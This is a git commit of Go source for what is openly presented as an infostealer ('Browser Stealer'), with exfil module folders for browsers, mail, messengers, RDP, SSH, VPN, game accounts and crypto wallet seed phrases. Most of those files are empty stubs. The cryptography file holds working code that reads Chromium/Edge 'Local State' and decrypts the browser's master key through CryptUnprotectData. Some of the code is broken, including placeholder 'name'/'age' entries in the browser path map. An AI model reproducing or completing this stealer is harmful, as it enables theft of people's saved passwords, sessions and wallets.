Upload of project source code files.
This commit is contained in:
5
modules/exfil/browser/browser.go
Normal file
5
modules/exfil/browser/browser.go
Normal file
@@ -0,0 +1,5 @@
|
||||
package browser
|
||||
|
||||
func Main() {
|
||||
chromium()
|
||||
}
|
||||
47
modules/exfil/browser/chromium.go
Normal file
47
modules/exfil/browser/chromium.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"adderall/utils"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func chromium() {
|
||||
fmt.Println("[*] Executing Browser Stealer: Chromium.")
|
||||
|
||||
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"}
|
||||
paths := map[string]string{
|
||||
"Microsoft Edge": "Microsoft\\Edge",
|
||||
"name": "John",
|
||||
"age": "30",
|
||||
}
|
||||
|
||||
for name, path := range paths {
|
||||
path = filepath.Join(utils.LocalAppData, path, "User Data")
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] Main browser dir %s exists.\n", path)
|
||||
|
||||
localState := filepath.Join(path, "Local State")
|
||||
|
||||
if utils.FileOrDirExists(localState) {
|
||||
fmt.Printf("[*] LocalState file %s exists. Retrieving key...\n", localState)
|
||||
|
||||
result := make(chan []byte)
|
||||
|
||||
go getMasterKey(localState, result)
|
||||
|
||||
fmt.Printf("[*] Received key from LocalState file %s: %d.\n", localState, <-result)
|
||||
|
||||
for _, profile := range profiles {
|
||||
path = filepath.Join(path, profile)
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] \"%s\" exists. Retrieving Retrieving login data...\n", path)
|
||||
fmt.Println(name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
79
modules/exfil/browser/cryptography.go
Normal file
79
modules/exfil/browser/cryptography.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unicode/utf8"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
crypt32 = syscall.NewLazyDLL("crypt32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
|
||||
procLocalFree = kernel32.NewProc("LocalFree")
|
||||
)
|
||||
|
||||
type DataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func getMasterKey(path string, result chan<- []byte) {
|
||||
var encryptedBase64Key struct {
|
||||
OSCrypt struct {
|
||||
EncryptedKey string `json:"encrypted_key"`
|
||||
} `json:"os_crypt"`
|
||||
}
|
||||
|
||||
file, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err)
|
||||
}
|
||||
|
||||
if err := json.Unmarshal(file, &encryptedBase64Key); err != nil {
|
||||
fmt.Printf("[!] Error parsing JSON: %s\n", err)
|
||||
}
|
||||
|
||||
encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error decoding base64: %s\n", err)
|
||||
}
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
_, size := utf8.DecodeRune(encryptedKey)
|
||||
encryptedKey = encryptedKey[size:]
|
||||
}
|
||||
|
||||
encryptedBlob := DataBlob{
|
||||
cbData: uint32(len(encryptedKey)),
|
||||
pbData: &encryptedKey[0],
|
||||
}
|
||||
|
||||
var outBlob DataBlob
|
||||
|
||||
ret, _, err := procCryptUnprotectData.Call(
|
||||
uintptr(unsafe.Pointer(&encryptedBlob)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
fmt.Println("[!] CryptUnprotectData failed:", err)
|
||||
return
|
||||
}
|
||||
|
||||
decryptedKey := make([]byte, outBlob.cbData)
|
||||
copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData])
|
||||
|
||||
procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
|
||||
result <- decryptedKey
|
||||
}
|
||||
1
modules/exfil/browser/gecko.go
Normal file
1
modules/exfil/browser/gecko.go
Normal file
@@ -0,0 +1 @@
|
||||
package browser
|
||||
1
modules/exfil/file/common.go
Normal file
1
modules/exfil/file/common.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/file/file.go
Normal file
1
modules/exfil/file/file.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/file/important.go
Normal file
1
modules/exfil/file/important.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/game/accounts.go
Normal file
1
modules/exfil/game/accounts.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/game/game.go
Normal file
1
modules/exfil/game/game.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/game/saves.go
Normal file
1
modules/exfil/game/saves.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/mail/mail.go
Normal file
1
modules/exfil/mail/mail.go
Normal file
@@ -0,0 +1 @@
|
||||
package mail
|
||||
1
modules/exfil/messenger/messenger.go
Normal file
1
modules/exfil/messenger/messenger.go
Normal file
@@ -0,0 +1 @@
|
||||
package messenger
|
||||
1
modules/exfil/network/adapters.go
Normal file
1
modules/exfil/network/adapters.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/monitor.go
Normal file
1
modules/exfil/network/monitor.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/network.go
Normal file
1
modules/exfil/network/network.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/rdp.go
Normal file
1
modules/exfil/network/rdp.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/ssh.go
Normal file
1
modules/exfil/network/ssh.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/system/system.go
Normal file
1
modules/exfil/system/system.go
Normal file
@@ -0,0 +1 @@
|
||||
package system
|
||||
1
modules/exfil/vpn/vpn.go
Normal file
1
modules/exfil/vpn/vpn.go
Normal file
@@ -0,0 +1 @@
|
||||
package vpn
|
||||
1
modules/exfil/wallet/seedphrase.go
Normal file
1
modules/exfil/wallet/seedphrase.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
modules/exfil/wallet/wallet.go
Normal file
1
modules/exfil/wallet/wallet.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
Reference in New Issue
Block a user